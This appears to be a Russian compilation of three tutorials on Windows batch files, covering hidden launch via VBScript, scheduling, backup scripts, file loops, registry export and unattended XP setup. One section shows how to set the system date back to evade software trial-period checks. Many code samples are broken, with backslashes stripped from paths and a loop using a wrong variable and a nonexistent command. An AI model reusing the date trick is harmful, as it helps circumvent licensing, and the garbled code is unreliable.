Работа с пакетными файлами в ос windows

Рассмотрим мощный инструмент автоматизации рутинных задач в семействе операционных систем Windows.

BAT-файл — это последовательность команд для интерпретатора командной строки в виде текстового файла с расширением .bat или .cmd. Основное предназначение пакетных файлов — автоматизация рутинных действий пользователя компьютера.

Название BAT появилось от английского batch — пакетная обработка. В истории продуктов Microsoft пакетные файлы существовали с первой версии MS-DOS в 80-х годах и позже успешно интегрировались в Microsoft Windows. В MS-DOS командным интерпретатором выступает COMMAND.COM, а начиная с Windows NT и до сих пор используется CMD.EXE.

Интерпретатор COMMAND.COM принимает файлы с расширением .BAT. Расширение .CMD создано для интерпретатора CMD.EXE с целью различать файлы для «старого» и «нового» интерпретаторов. CMD.EXE корректно обрабатывает оба расширения.

Интерпретатор CMD.EXE является частью современных операционных систем семейства Microsoft Windows, несмотря на отсутствие развития с начала 2000-х.

Основы взаимодействия с bat-файлами

Пакетный файл bat — это текстовый документ со специальным расширением. Для создания своего первого bat-файла достаточно «Блокнота», который доступен в операционной системе. Для повышения удобства написания и поддержки bat-файлов рекомендуем использовать Notepad++ или любой другой текстовый редактор с подсветкой синтаксиса.

Создание bat-файлов

Для создания пакетных файлов необходимо открыть текстовый редактор и в меню Файл выбрать Сохранить как….

В появившемся окне выбрать Тип файлаВсе файлы и задать имя с расширением .bat, как продемонстрировано на изображении выше. По умолчанию Windows скрывает расширения файлов, и пакетный файл можно отличить от текстового по пиктограмме окна с шестеренками.

Если вы ошиблись при сохранении и пакетный файл сохранился с расширением txt, то не обязательно совершать повторное сохранение. Можно включить отображение расширения имен файлов и переименовать файл.

Запуск bat-файлов

Запуск пакетных файлов производится двойным кликом по иконке. Дополнительно можно использовать команду Открыть из контекстного меню, которое доступно при нажатии правой клавиши мыши (ПКМ) по файлу. Если для выполнения команд требуются права администратора, то в том же контекстном меню есть пункт Запуск от имени администратора.

Исполняемые bat-файлы не могут запрашивать права администратора, если командам нужны расширенные права.

Запуск через контекстное меню откроет командный интерпретатор, в котором выполнятся команды bat-файла. По завершении команд окно закроется. Такое поведение неприемлемо, если от пакетного файла требуется какая-то обратная связь — например, сообщение об ошибке или результат вычислений. В таком случае интерпретатор следует запустить вручную и передать ему пакетный файл.

Для запуска интерпретатора командной строки необходимо открыть меню Выполнить сочетанием клавиш Win + R, вписать cmd и нажать ОК.

Для запуска пакетного файла его необходимо перенести мышкой в открывшееся окно и нажать Enter. Команды bat-файла будут выполнены, а его вывод вы увидите на экране.

Вне зависимости от способа запуска откроется окно, которое может привлекать внимание и раздражать. Для запуска в «скрытом» режиме необходимо использовать другой скриптовой язык Microsoft Windows — VBScript.

По аналогии создаем файл с расширением .vbs и заполняем его следующими командами:

Set WshShell = CreateObject("WScript.Shell") WshShell.Run chr(34) & "С:путьдовашегоскрипта.bat" & Chr(34), 0 Set WshShell = Nothing

Для скрытого запуска следует запускать созданный файл, а не bat-файл. Скрытый запуск bat-файла актуален для автоматизации действий по расписанию, например, создание резервной копии.

Запуск по расписанию

За выполнение действий по расписанию отвечает Планировщик заданий. Открываем меню Выполнить и запускаем программу taskschd.msc.

Выбираем пункт Создать простую задач и заполняем параметры задания:

  • имя для простой идентификации,
  • периодичность и время запуска,
  • действие — Запустить программу,
  • программа или сценарий — путь до вашего .bat-файла или .vbs-файла, который запускает .bat-файл скрытно.

имя файла

триггер

повторяемость

запуск программы

Обратите внимание, что планировщик позволяет не только выполнять действие по времени, но и при наступлении события — например, при загрузке компьютера. Такой подход является альтернативой автозагрузке.

В случае разработки собственного bat-файла следует ознакомиться с основами командного интерпретатора.

Команды и синтаксис пакетных файлов

Командный интерпретатор выполняет команды из файла последовательно — строка за строкой. Исключение составляет только оператор GOTO, который «отправляет» к указанной строке. Командный интерпретатор выполняет два вида команд: встроенные команды и внешние исполняемые файлы.

Внешние исполняемые файлы — это любой исполняемый файл, то есть с расширением EXE, CMD или BAT, который доступен в операционной системе. Например, «Блокнот» — это исполняемый файл notepad.exe. Следующая команда приведет к запуску этого приложения с открытым файлом C:1.txt:

notepad.exe C:1.txt

Аргументом может быть не только путь, но и ключ — специальный аргумент, который начинается с символа слэш (/). У каждой программы свой «реестр» ключей и их значений.

Обратите внимание, что не все внешние команды «понимают» аргументы, переданные из интерпретатора командной строки. Например, исполняемый файл приложения калькулятор, calc.exe, игнорирует все аргументы командной строки. Внешним исполняемым файлом может быть в том числе другой bat-файл.

Встроенные команды — это команды, которые являются частью интерпретатора командной строки. Полный список команд доступен по команде HELP. Данные команды не имеют отдельного исполняемого файла.

Иногда в имени файла или каталога встречаются пробелы. Наиболее очевидный пример — каталог Program Files на диске C. В этом случае помогают кавычки. Их можно расставить различными способами. Например:

cd "C:Program Files123" cd C:”Program Files”123

Операционная система Windows запрещает использование множества специальных символов в именах файлов, в том числе кавычки, поэтому проблем с указанием файлов не возникнет.

Оставлять комментарии при разработке — хороший тон. Так можно объяснить выполняемые действия и потенциальные ошибки. В пакетных файлах можно оставлять комментарии несколькими способами.

Официальный способ — команда rem или два двоеточия.

rem Это первый комментарий :: Это тоже комментарий

Перечисленные команды позволяют оставлять однострочные комментарии. Если хочется оставить развернутый многострочный комментарий, то прибегают к хитрости с командной GOTO.

goto start === Здесь можно оставить большой комментарий, лицензию или даже ASCII-арт === :start

В конце комментария задаем имя метки, а в начале комментария выполняем команду GOTO c именем метки. Этот способ требует внимания, так как для каждого комментария должна быть своя метка, иначе выполнение bat-файла может отличаться от ожидания разработчика.

Совместимость с MS-DOS

В старых ОС, таких как MS-DOS, было ограничение на отображение имени файлов. На экран выводилось восемь символов имени, точка и три символа расширения. Если имя файла превышало по длине восемь символов, то имя файла отображалось по следующей схеме:

Например, каталог Program Files выглядит следующим образом:

Progra~1

В современных операционных системах такое отображение не применяется, но CMD.EXE до сих пор поддерживает такие запросы к файлам и каталогам.

Используйте bat-файлы в работе с выделенным сервером

Выберите подходящий из более 100 готовых конфигураций.

Примеры bat-файлов

Рассмотрим несколько примеров bat-файлов. Начнем с базовых команд.

Обновление IP-адреса

Представим простой пример: необходимо обновить аренду IP-адресов на всех сетевых интерфейсах. В командной строке это делается одной командой:

ipconfig /renew

Данная команда генерирует много текстового вывода, который может испугать неподготовленного пользователя. Сама команда также может быть непривлекательной. Поэтому отключим отображение команды и перенаправим вывод выполнения в «никуда». Вместо слова NUL может быть любое имя или путь. Тогда вывод будет перенаправлен в указанный файл.

rem Отключаем отображение команд. Символ @ отключает отображение текущей команды @echo off rem Переводим вывод выполнения в устройство NUL, вывод исчезнет ipconfig /renew > NUL

При запуске такого скрипта появляется черное окно, которое быстро исчезает. Можно оставить простые и понятные пользователю сообщения и не дать окну закрыться.

@echo off echo Выполняется настройка, пожалуйста, подождите. ipconfig /renew > NUL echo Все хорошо. rem Эта команда остановит выполнение до тех пор, пока пользователь не нажмет любую клавишу pause

Скорее всего данный скрипт выведет набор непонятных символов вместо сообщения. Дело в том, что в русскоязычных ОС Windows по умолчанию в CMD.EXE используется кодировка CP866. Блокнот сохраняет в CP1251 (Windows-1251), а Notepad++ — в UTF-8. Для решения проблемы необходимо сменить кодировку интерпретатора командой chcp или сохранить bat-файл в кодировке интерпретатора.

rem Смена кодировки на Windows-1251 chcp 1251 > NUL rem Смена кодировки на UTF-8 chcp 65001 > NUL

Я сохранил файл в кодировке UTF-8 и итоговый скрипт получился таким:

@echo off chcp 65001 > NUL echo Выполняется настройка, пожалуйста, подождите. ipconfig /renew > NUL echo Все хорошо. pause

Создание резервной копии каталога

Перейдем к более жизненной ситуации — создание резервной копии (backup) каталога. Предположим, что каждый архив должен иметь в названии дату создания копии. Создадим каталог, имя которого — текущая дата. Текущая дата хранится в переменной DATE. Для обращения к переменным название переменной помещается между знаками процента.

mkdir %DATE% cd %DATE%

Копирование файлов в текущий каталог производится командой COPY.

 rem файлы 1.txt и 2.txt будут скопированы в текущую папку COPY C:1.txt C:2.txt . rem файл 3.txt будет сохранен в текущую папку как example.txt COPY C:1.txt .example.txt

Возможно, в резервную копию необходимо дополнить служебную информацию — например, список файлов в корне копии и имя компьютера.

rem Имя компьютера записывается в файл computer.txt hostname > computer.txt rem Список файлов в текущем каталоге записывается в files.txt dir . > files.txt

Обычно резервные копии хранят в zip- или rar-архивах. Из командной строки отлично управляется архиватор 7z.

cd .. 7z -tzip a backup.zip %DATE% 

Переименование файлов

Переименование файлов в Windows производится командой RENAME. Однако эта команда имеет свои особенности.

Во-первых, переименование возможно только в рамках одного диска и одного каталога. Между каталогами одного диска допустимо перемещение, а между разными дисками — только копирование.

 rename abc.txt cba.txt

Во-вторых, возможно переименование по маске. Допустим, есть список фотографий photo000.jpeg, photo001.jpeg и так далее. Нужно сменить префикс с photo на mobile.

rename photo* mobile*

Если в текущем каталоге есть другие файлы с префиксом photo, а переименовать надо только изображения с расширением jpeg, то команда модифицируется:

rename photo*.jpeg mobile*.jpeg

Удаление файлов

Программы и пользователи оставляют следы работы в виде файлов, которые не удаляются автоматически. К счастью, процесс очистки поддается автоматизации.

Предположим, что в процессе работы пользователя генерируется большое количество файлов с расширением jpeg, которые нужно удалять. На помощь приходит оператор цикла FOR.

rem Ищем все файлы с расширением jpeg в каталоге work rem Ключ /r включает в поиск все подкаталоги в каталоге work for /r work %%file in (*.jpeg) do ( rem Выводим имя файла echo %%file delete %%i )

Заключение

Командный интерпретатор CMD.EXE существует долгое время, но, даже несмотря на отсутствия развития, остается востребованным инструментом для автоматизации рутинных действий в операционной системе Microsoft Windows.

Министерство
образования Российской Федерации

Саратовский
государственный технический университет

Методические
указания к лабораторной работе

по
курсу «Операционные системы»

для
студентов специальности 220200

дневной
формы обучения

редакционно-издательским
советом

Саратовского
государственного

технического
университета

Саратов 2010

РАБОТА
С ПАКЕТНЫМИ ФАЙЛАМИ

В
СРЕДЕ WINDOWS

Методические
указания к лабораторной работе

по
курсу «Операционные ситемы»

ПЕТРОВ
Дмитрий Юрьевич

МАКСИМОВА
Наталия Николаевна

БАРЫШНИКОВА
Елена Сергеевна

Рецензент
А.Ф. Резчиков

Редактор
О.А. Панина

Лицензия
ИД № 06268 от 14.11.01

Подписано
в печать 27.10.10
Формат 60х84 1/16

Усл.
печ. л. 0,93 (1,0)

Саратовский
государственный технический университет

410054
г. Саратов, ул. Политехническая, 77

Введение

В
методических указаниях рассматриваются
структура пакетных файлов, методика
создания этих файлов, методы автоматизации
выполнения нескольких операций.

Методические
указания содержат описание интерпретатора
команд, структуры пакетных файлов,
описание функций, используемых в
командных файлах, примеры решений
учебной задачи, задание для выполнения
лабораторной работы, требования к
оформлению отчета по лабораторной
работе, а также список литературы,
необходимой для выполнения данной
лабораторной работы.

Методические
указания предназначены для студентов
специальности 220200, а также могут быть
использованы студентами других
специальностей, связанных с разработкой
системных программ.

Цель
работы:
создание пакетных файлов, автоматизирование
выполнение нескольких заданий при
установке и загрузке Windows, оптимизация
и повышение надежности функционирования
системы.

Интерпретатор команд и пакетные файлы

Пакетный
файл (англ. batch
file) —
текстовый
файл
в MS-DOS,
OS/2
или Windows,
содержащий последовательность команд,
предназначенных для исполнения командным
интерпретатором. После запуска пакетного
файла, программа — интерпретатор
(как правило COMMAND.COM
или CMD.EXE)
читает его строка за строкой и
последовательно исполняет команды..

В
Windows используется два интерпретатора
команд commad.com и cmd.exe, которые можно
запустить через меню «Пуск» (Пуск->
Выполнить-> cmd -> ОК или Пуск->
Выполнить-> commad -> ОК). На рис. 1 показана
возможность использования справки по
командам DOS/Windows. Справка становится
доступной при наборе команды help в
командной строке.

Рис.1
Интерпретатор команд commad.com

На
рис. 2 показана возможность создания
нового файла с использованием команды
copy con имя_файла.расширение.

Рис.2.
Интерпретатор команд cmd.exe

Использование
пакетных файлов (*.cmd или *.bat) помогает
автоматизировать выполнение нескольких
заданий при установке и загрузке Windows.
При этом никакого вмешательства
пользователя не требуется. Эти файлы
могут быть выполнены из cmdlines.txt,
svcpack.inf
,
RunOnceEx раздела в реестре, или из секции
[GuiRunOnce] в файле winnt.sif.

Пакетные
файлы поддерживают все команды, которые
могут быть выполнены из командной
строки. Чтобы увидеть командую строку
достаточно проделать следующее:
Пуск->Выполнить->cmd->ОК

Рассмотрим
простейший пакетный файл. Для этого
необходимо открыть Блокнот и набрать
в нем следующий текст:

TITLE
Batch File Testing

ECHO
Hello World

ECHO
Starting Notepad

START
notepad

ECHO.
ECHO
Starting Wordpad

START
Wordpad

EXIT

Затем
нужно сохранить файл с любым именем и
в любом месте, но с расширением *.cmd (а не
.txt, которое Блокнот присвоит по умолчанию).
При запуске этого файла он назначит
окну имя «Batch File Testing», запустит
Блокнот и WordPad, попросит нажать любую
клавишу для продолжения работы и закроет
окно.

Значения
команд, использованных в пакетном файле

Скрывает
строку C:> и все команды, используемые
в пакетном файле

Создает
пробел между строками

echo
message

Отображает
сообщение в окне, исключительно с
информационными целями

Запускает
приложение или установочный процесс

Отображает
сообщение
«Press any key to continue…» («Нажмите
любую клавишу для продолжения…»)

Закрывает
командную строку

При
добавлении приложения для автоматической
установки с инсталляционного диска XP,
команды будут выглядить следующим
образом:

start
/wait %systemdrive%installsome_applicationsetup.exe /
ключ
/
еще
ключ,

start
запустит установку приложения, а /wait
дождется ее окончания перед тем, как
выполнить установку следующего
приложения. Использование /wait
очень важно,
т.к. в противном случае одновременно
запустится установка сразу нескольких
приложений и конфликты неизбежны.

Пакетные
файлы могут быть запущены из cmdlines.txt
или svcpack.inf,
которые будут исполнены на Т-13/Т-12 этапе
установки Windows (Т-13 означает 13 минут до
окончания установки).cmdlines.txt
удобен для таких задач как Добавление
Пользователей, или для импортирования
заранее подготовленных ключей реестра
HKEY_CURRENT_USER в профиль по умолчанию (Default
Profile).

Метод
svcpack.inf, как правило, используется для
установки обновлений (хотфиксов). Однако
ничто не мешает рассматривать пакетный
файл как еще один хотфикс.

Пример
содержимого пакетного файла:

TITLE
Windows XP SP2 — Unattended Installation

ECHO
Over the next few minutes you will see automated installations

ECHO
of various sofware applications, and registry tweaks being

ECHO
implemented.

ECHO
Removing Wallpapers and Screensavers…

DEL
«%systemroot%*.bmp»

DEL
«%systemroot%WebWallpaper*.jpg»

DEL
«%systemroot%system32dllcache*.scr»

DEL
«%systemroot%system32*.scr»

ECHO
Removing useless shortcuts…

DEL
«%systemdrive%Documents and SettingsAll UsersStart
MenuWindows

DEL
«%systemdrive%Documents and SettingsAll UsersStart MenuSet

Program
Access and Defaults.lnk»

DEL
«%systemdrive%Documents and SettingsAll UsersStart
MenuWindows

ECHO
Installing TweakUI 2.10 Powertoy

ECHO
Please wait…

start
/wait %systemdrive%InstallTweakUI.msi /qn

ECHO
Applying Registry Tweaks…

REGEDIT
/S %systemdrive%InstallRegTweaks.reg

ECHO
Deleting ASP.NET User Account created by .NET Framework 1.1…

net
user aspnet /delete

Данный
пакетный файл производит удаление обоев
и скринсэйверов, устанавливаемых по
умолчанию системой, а также некоторых
ярлыков. Затем устанавливает TweakUI,
импортирует ключи реестра и удаляет
учетную запись ASP.NET, созданную при
установке .NET Framework.

Вызов
внешних командных файлов:

1.
После выполнения вызванного файла
управление не передается в вызывающий
файл.

@ECHO
OFF

REM
Вывод списка
log-файлов

DIR
C:*.log

REM
Передача выполнения файлу
f.bat

2.
После выполнения вызванного файла
управление передается в вызывающий
файл:

REM
Вывод списка
log-файлов

REM
Передача выполнения файлу
f.bat

Файл
cmdlines.txt
нужно положить в директорию $OEM$, и Windows
автоматически найдет его во время
установки. Все пакетные файлы, запускаемые
из cmdlines.txt,
должны находиться в той же директории,
что и cmdlines.txt.

Файл
svcpack.inf
сохраняется в директории I386 на
инсталляционном диске (необходимо
удалить оттуда
svcpack.in_
). Все
пакетные файлы, запускаемые из svcpack.inf,
должны находиться в директории
I386svcpack, если только это не прописано
иначе в самом файле.

В
пакетных файлах широко используются
команды передачи управления IF,
FOR,
SHIFT,
а также параметры, передаваемые из
командной строки и операторы перенаправления
ввода-вывода >, >>, оказываются операторы: «+» ‑ слияния
файлов, «?» ‑ замены одного символа
в имени файла или расширении, «*» ‑
замены нескольких символов в имени
файла или расширении.

Системными
именами являются: CON,
NULL,
AUX,
COM1,
COM2,
PRN,
LPT1,
LPT2.
Ими нельзя называть файлы.

Не
смотря на то, что теперь пользователи
компьютеров могут легко обойтись без
знания DOS,
тем более, что в новых ОС DOS
похоже будет отсутствовать вообще, их
знание может, пригодятся в нештатных
ситуациях, когда Windows по каким-то причинам
запускаться не желает и доступна только
командная строка. Справку по командам
можно, получить, выполнив команду help.

Соседние файлы в папке Лабораторные работы

Если рассматривать исполняемые приложения, то среди них особую роль будут играть пакетные файлы с расширением BAT. Возможности ОС позволяют выполнить запись некоторой последовательности команд непосредственно в документ данного типа. Таким образом, получается файл, содержащий наборы команд. Это позволяет упростить функционирование ОС. Предусматривается наличие некоторого списка команд, которые могут быть запущены исключительно из пакетного документа.

Название BAT файлы было получено за счет наличия указанного расширения. Запуск пакетных документов является аналогичным приложениям .EXE и .COM. Следует отметить главное отличие от классических программ. BAT документы не содержат внутри код. Предусматривается наличие исключительно текстовой информации. Именно её считывает и выполняет командный процессор DOS. Существует несколько доступных вариантов:

  • Особые команды для вывода определенных сведений или приложений на экран.
  • Осуществление вызова различных пакетных документов.
  • Работа с другими приложениями.
  • Особые команды, обеспечивающие создание ветвлений, а также циклов.

Обеспечивается способность выполнения довольно сложных и многоуровневых последовательностей управления процессами. Наиболее значимым качеством пакетных документов требуется отметить автоматизацию работы над заданиями. Деятельность происходит без каких-либо вмешательств со стороны пользователей системы. Разрешается выполнение файлов BAT почти на всех этапах установки ОС Windows.

Допускается помещение внутрь пакетных документов всех существующих команд. Предполагается усложнение поставленных задач и даже создание условий. В этом деле оказывают поддержку команды goto, if и for. Требуется отметить autoexec.bat – файл необходим при осуществлении начальных настроек ОС в ходе запуска.

Следует рассмотреть простейший пример самостоятельного создания пакетного файла. Для выполнения поставленной задачи будет достаточно открыть новый документ с расширением TXT и ввести туда предложенный текст:

title Batch File Testing

echo Hello World

echo.

echo Starting Notepad

start notepad

echo.

echo Starting Wordpad

start Wordpad

echo.

pause

exit

После этого осуществляется сохранение документа и установка для него любого названия. Основным моментом требуется предусмотреть задание расширения CMD или BAT. После этого требуется выполнить запуск. Происходит назначение окна с названием «Batch File Testing». Работа указанного документа будет заключаться в том, чтобы открыть блокнот и выполнить запрос на нажатие любой клавиши. Когда это сделано, окно закроется.

Пакетные файлы применяются постоянно и сильно упрощают жизнь при осуществлении повседневных задач для программистов. Наиболее распространенными сферами использования BAT документов можно отметить резервное копирование данных, переименование, удаление файлов или документов, а также многое другое. Большинство действий в системе разрешается проводить только в том случае, если имеются администраторские права. Подобный фактор требуется принимать во внимание.

Задание паузы в файле BAT перед исполнением последующей команды

Разрешается осуществление паузы в результате применения большого числа команд. Часть из них предусматривают подобную функцию. Ниже будет рассмотрено выполнение поставленной задачи за счет команды ping:

ping -n 1 -w 50000 123.123.123.254 >nul

Следует перечислить и расшифровать параметры:

n 1

Запрос будет исполняться только один раз

w 50000

Для ожидания ответа выбран интервал в 50.000 мс (50 секунд)

123.123.123.254

В качестве этого параметра прописывается IP адрес, которого точно не существует внутри локальной сети. Это позволяет утверждать о невозможности ответа на запрос

>nul

Производится перенаправление для выдачи в несуществующее место

Зацикливание в файле BAT выполнения команды

Довольно распространенной задачей требуется отметить периодический вызов некоторой команды через равные промежутки времени. Подобные мероприятия особенно часто нужны в случае обновления некоторых программ или системы. Оптимальным решением поставленной задачи является создание зацикленного в файла BAT с некоторой паузой. Ниже рассмотрен пример реализации такого способа:

:loop

ping -n 1 -w 60000 123.123.123.254 >nul

start notepad.exe

goto loop

Происходит открытие блокнота каждую минуту.

Создание папки, имя которой устанавливается текущей датой

Папки данного вида популярны в качестве мест сохранения бэкапов. Необходимо рассмотреть основные методы создания.

MD %SYSTEMDRIVE%%date:~-10%

Применение команды позволит создать новую папку и присвоить её название, соответствующее текущей дате. Недостатком указанного подхода считается невозможность получения результата в определённых ситуациях. Сюда можно отнести неподходящие установки отображения даты на компьютере или специфические региональные настройки. Чтобы подобные факторы не оказали своего влияния, применяется следующий вид:

md %systemdrive%%date:~0,2%_%date:~3,2%_%date:~6,4%

md %systemdrive%%date:~6,4%_%date:~3,2%_%date:~0,2%

Стоит предложить вариант по дальнейшему улучшению результата. Например, осуществление прибавления к названию документов текущей даты:

@echo off

for /F «tokens=1-4 usebackq delims=. » %%1 in (`date /t`) do set mydate=%%4.%%3.%%2

ren test.txt test%mydate%.txt

Это позволит изменить название документа с test.txt на test(гггг.мм.дд).txt

Запрет повторного запуска программ

Когда запуск определенной программы происходит с применением файла BAT, имеется возможность не допускать повторного исполнения такой процедуры.

pslist.exe -e «операция«

if %errorlevel%==1 start «» «приложение«

Здесь упоминается специальная программа pslist. Она является бесплатной и может быть свободно загружена из интернета.

Выполнение резервных копий в автоматическом режиме

Ниже будет представлен скрипт, который отвечает за создание архивных копий документов с данными пользователей, а также некоторыми другими документами. Не предусматривается проведение подобных мероприятий с медиа файлами. Причиной является их значительный объем. Дополнительно, их потеря редко считается критичной.

rem задаём жесткий диск, где лежат папки для архивирования и винт куда будем бэкапить

SET DRIVE1ST=d:

SET DRIVE2ND=e:

rem пароль на архив

SET PASSWD=qmsdhgsdfgsdfhdsfhsdhf

rem если копировать для надёжности куда-нибудь на сетку

rem SET COPYTO=\shpakkc$!backup

rem *** Проверим путь назначения архива

%DRIVE1ST%

if not exist !backup md !backup

if not exist !backupDepartments md !backupDepartments

if not exist !backupExchange md !backupExchange

if not exist !backupMEDEA_rdisk md !backupMEDEA_rdisk

cd !backup

rem *** Backup \SERVERe$Exchange

SET DIRNAME=Exchange

SET FILENAME=SERVER_Exchange

SET SOURCEDIR=e:Exchange

rar a -r -m5 -dh -x*.mp3 -x*.fcd -x*.avi -x*.zip -x*.rar -x*.exe -w%DRIVE2ND% -p%PASSWD% %DIRNAME%%FILENAME%_new %SOURCEDIR%*.*

if not exist %DIRNAME%%FILENAME%_new.rar goto next2

del %DIRNAME%%FILENAME%_old.rar

ren %DIRNAME%%FILENAME%.rar %FILENAME%_old.rar

ren %DIRNAME%%FILENAME%_new.rar %FILENAME%.rar

copy %DIRNAME%%FILENAME%.rar %COPYTO%%DIRNAME%

:next2

rem *** Backup \SERVERe$Users

SET DIRNAME=Departments

SET FILENAME=SERVER_Departments

SET SOURCEDIR=e:Departments

if not exist %DIRNAME%%FILENAME%_new.rar goto next3

del %DIRNAME%%FILENAME%_old.rar

ren %DIRNAME%%FILENAME%_4.rar %FILENAME%_old.rar

ren %DIRNAME%%FILENAME%_3.rar %FILENAME%_4.rar

ren %DIRNAME%%FILENAME%_2.rar %FILENAME%_3.rar

ren %DIRNAME%%FILENAME%_new.rar %FILENAME%_2.rar

:next3

rem это если архив будет большим — кусками бить -v357888k

rem rar a -r -m5 -v357888k -dh -x*.mp3 -x*.fcd -x*.avi -x*.exe -w%DRIVE2ND% -p%PASSWD% %DIRNAME%%FILENAME%_new %SOURCEDIR%

rem архивирование пошло, не берём мультимедиа файлы

rar a -r -dh -x*.mp3 -x*.fcd -x*.avi -x*.exe -x*.jpg -x*.tif -p%PASSWD% %DIRNAME%%FILENAME%_new %SOURCEDIR%

goto next4

:next4

rem *** Create repair disk on \SERVER

SET DIRNAME=MEDEA_rdisk

SET FILENAME=MEDEA_rdisk

SET SOURCEDIR=%windir%repair

%windir%system32rdisk.exe /s-

rar a -r -m5 -dh -w%DRIVE2ND% -p%PASSWD% %DIRNAME%%FILENAME%_new %SOURCEDIR%*.*

if not exist %DIRNAME%%FILENAME%_new.rar goto next5

del %DIRNAME%%FILENAME%_old.rar

ren %DIRNAME%%FILENAME%.rar %FILENAME%_old.rar

ren %DIRNAME%%FILENAME%_new.rar %FILENAME%.rar

copy %DIRNAME%%FILENAME%.rar %COPYTO%%DIRNAME%

:next5

В итоге имеем 3 папки: Departments, в ней:

SERVER_Departments_2.rar — 2х дневной давности

SERVER_Departments_3.rar — 3х дневной давности

SERVER_Departments_4.rar — 4х дневной давности

SERVER_Departments_old.rar — СТАРЫЙ Exchange

Так как архивируем обменник — он нам сильно то и не нужен храним только сегодняшний и вчерашний архивы

SERVER_Exchange_old.rar ну и систему на всякий в папке

Использование комментариев в файлах BAT

Чтобы разбираться в том, что именно осуществляет заданный BAT документ, рекомендуется применять комментарии. Использование их для главных блоков особенно важно в случае значительного объема текстовой информации. Просматривая файл через некоторое время, у Вас не возникнет проблем с пониманием особенностей его работы.

Написание комментариев можно осуществить несколькими способами. Когда приходится иметь дело с довольно большим количеством текста, рекомендуется следующий подход:

goto start

Этот пакетный файл предназначен

для автоматизации рутинных операций,

выполняемых ночью для синхронизации

содержимого корпоративного ftp-сервера

с ftp-серверами филиалов

Пакетный файл написан 01/01/2016

Последнее исправление внесено 10/02/2016

:start

Подобный вариант обеспечивает запуск пакетного документа, после чего выполняется переход контроля непосредственно команде, которая помещается после start. В некоторых ситуациях будет выгодным использовать иной подход. Например, хорошо подходит применение команды rem или два двоеточия. Они оптимально подходят для небольших по своему размеру комментариев с длиной в одну строчку.

rem Комментарий

:: Комментарий

Если Вы хотите обеспечить для себя удобство последующего разбора своих записей, рекомендуется не забывать про возможности комментирования. Не стоит описывать каждый шаг, но основные блоки должны иметь информацию о себе. Комментарии считаются правилом хорошего тона в программировании.

Ожидание появления заданного документа в файле BAT

В некоторых ситуациях возникает потребность осуществить заданные действия при возникновении определенного файла. Осуществление такой задачи в пакетном документе предусматривается следующий подход:

:test

if exist c:1.txt goto go

ping -n 20 127.0.0.1 >nul

goto test

:go

start notepad.exe

Приведенный текст задает необходимость выполнения проверки каждые 20 секунд того, существует ли в корне диска С документа с названием 1.txt. Если подобное событие произойдет, выполняются действия после goto. В конкретной ситуации производится запуск программы блокнота, но можно использовать любые другие варианты.

Периодически возникает ситуация, когда искомый файл обладает крупным объемом и проводится его копирование. Таким образом, поиск выдаст результат, но какие-либо действия повлекут за собой появление ошибки. Чтобы этого не возникло, нужно несколько улучшить содержимое пакетного файла.

:test

if exist c:1.txt goto go

ping -n 10 127.0.0.1 >nul

goto test

:go

rename c:1.txt 1.txt

if not %errorlevel% == 0 goto go

del c:1.txt

Как и раньше, попытка каких-либо действий с не полностью скопированным документом вызовет ошибку, но она не приведет к завершению. Произойдет повторение цикла и так до тех пор, пока ошибка не исчезнет.

Способы обхода процедуры проверки даты из файла BAT

Некоторые программы в процессе своей работы осуществляют проверку текущей даты. В большинстве случаев это создано для контроля временных рамок использования. Достаточно часто владелец устанавливает возможность бесплатной эксплуатации на протяжении установленного периода времени. Когда сроки истекают, расширенный или даже весь функционал программы перестает работать. Другой вариант – это регулярное обновление до последней версии.

Если Вы не хотите, чтобы программа использовала временную проверку, можно изменить свои настройки даты и времени. Этот вариант нельзя назвать приемлемым по многим причинам. Более эффективным подходом требуется назвать использование пакетного файла со специально прописанной информацией. Предполагается запуск приложения и последующий возврат даты к тому значению, что присутствовало ранее.

set tempdate=%date:~-10%

date 01-01-04

start notepad.exe

date %tempdate%

Что именно делают прописанные строки? Прежде всего, производится сохранение текущей даты в системе. Для этого применяется особая переменная. Во второй строке происходит установка системной даты на новое значение. В данном случае, это 1 января 2004 года. Сразу после этого предполагается проведение вызова программы, отвечающей за проверку системной даты. Мы использовали блокнот, но в Вашем случае требуется предусмотреть подобный момент. Пока Блокнот является открытым, пакетный документ ожидает, а сама дата не предусматривает изменение обратно. После закрытия Блокнота происходит возврат системной даты из переменной.

Важно уделить внимание определенному моменту. Когда в пути до конкретного документа используются символы из кириллицы, рекомендуется применять текстовый редактор с поддержкой кодировки 866 (ОЕМ, русская) или аналогичного варианта. Когда это не предусматривается, происходит выдача ошибки и работа пакетного файла не осуществляется.

Большинство программ упрощают систему проверки – она выполняется исключительно в процессе запуска. Это позволяет модифицировать пакетный документ в соответствии с подобными запросами.

set tempdate=%date:~-10%

date 01-01-04

start notepad.exe

date %tempdate%

Процесс работы довольно прост. В первую очередь выполняется изменение системной даты и последующий запуск программы. Пакетный документ не станет ждать, пока она завершит своё функционирование и осуществит возврат даты на прежнее значение.

Импорт переменных реестра из пакетного файла

Когда возникает потребность выполнения импорта в реестр определенных переменных, осуществление поставленной задачи предполагает использование следующей команды:

regedit.exe -s C:environment.reg

Производится импорт в реестр сведений из документа environment.reg. Поскольку применяется специальный ключ –s, то не предусматривается вывода сообщений для подтверждения таких действий.

Экспорт переменных реестра из пакетного файла

В некоторых случаях поставлена задача, противоположная рассмотренной в предыдущем абзаце. Чтобы сохранить в пакетном файле некоторую часть реестра с полным перечнем параметров, необходимо использовать следующий подход:

regedit.exe -ea C:environment.reg «HKEY_CURRENT_USEREnvironment»

Происходит сохранение ветки HKEY_CURRENT_USEREnvironment в документ, расположенный по адресу C:environment.reg. При запросе на восстановление значений HKEY_CURRENT_USEREnvironment, предполагается необходимым только выполнить запуск environment.reg. Примером использования такой команды следует назвать осуществление регулярного бэкапа настроек ПО или всей системы. Подобная информация находится в реестре и может быть выгружена оттуда. Полный адрес может включать в себя проблемы. Чтобы они не вызвали ошибку, надо позаботиться о заключении подобного пути в кавычки.

Применение внутри пакетного файла символа %

Символ процента относится к категории спецсимволов. Если требуется применить его внутри пакетного документа, то следует прописывать дважды.

echo 50%%

Если ввести указанную команду, то предполагается выдача на экран в BAT документе 50%. Без использования двойного символа %%, результатом станет только число 50.

Смена имен по маске из файла BAT

В некоторых ситуациях поставлена задача сменить названия всех файлов в папке с применением определенного шаблона из пакетного документа. Предполагается использование следующей команды:

for /f «tokens=*» %%a in (‘dir /b PATH*.*’) do ren PATH%%a Prefix%%a

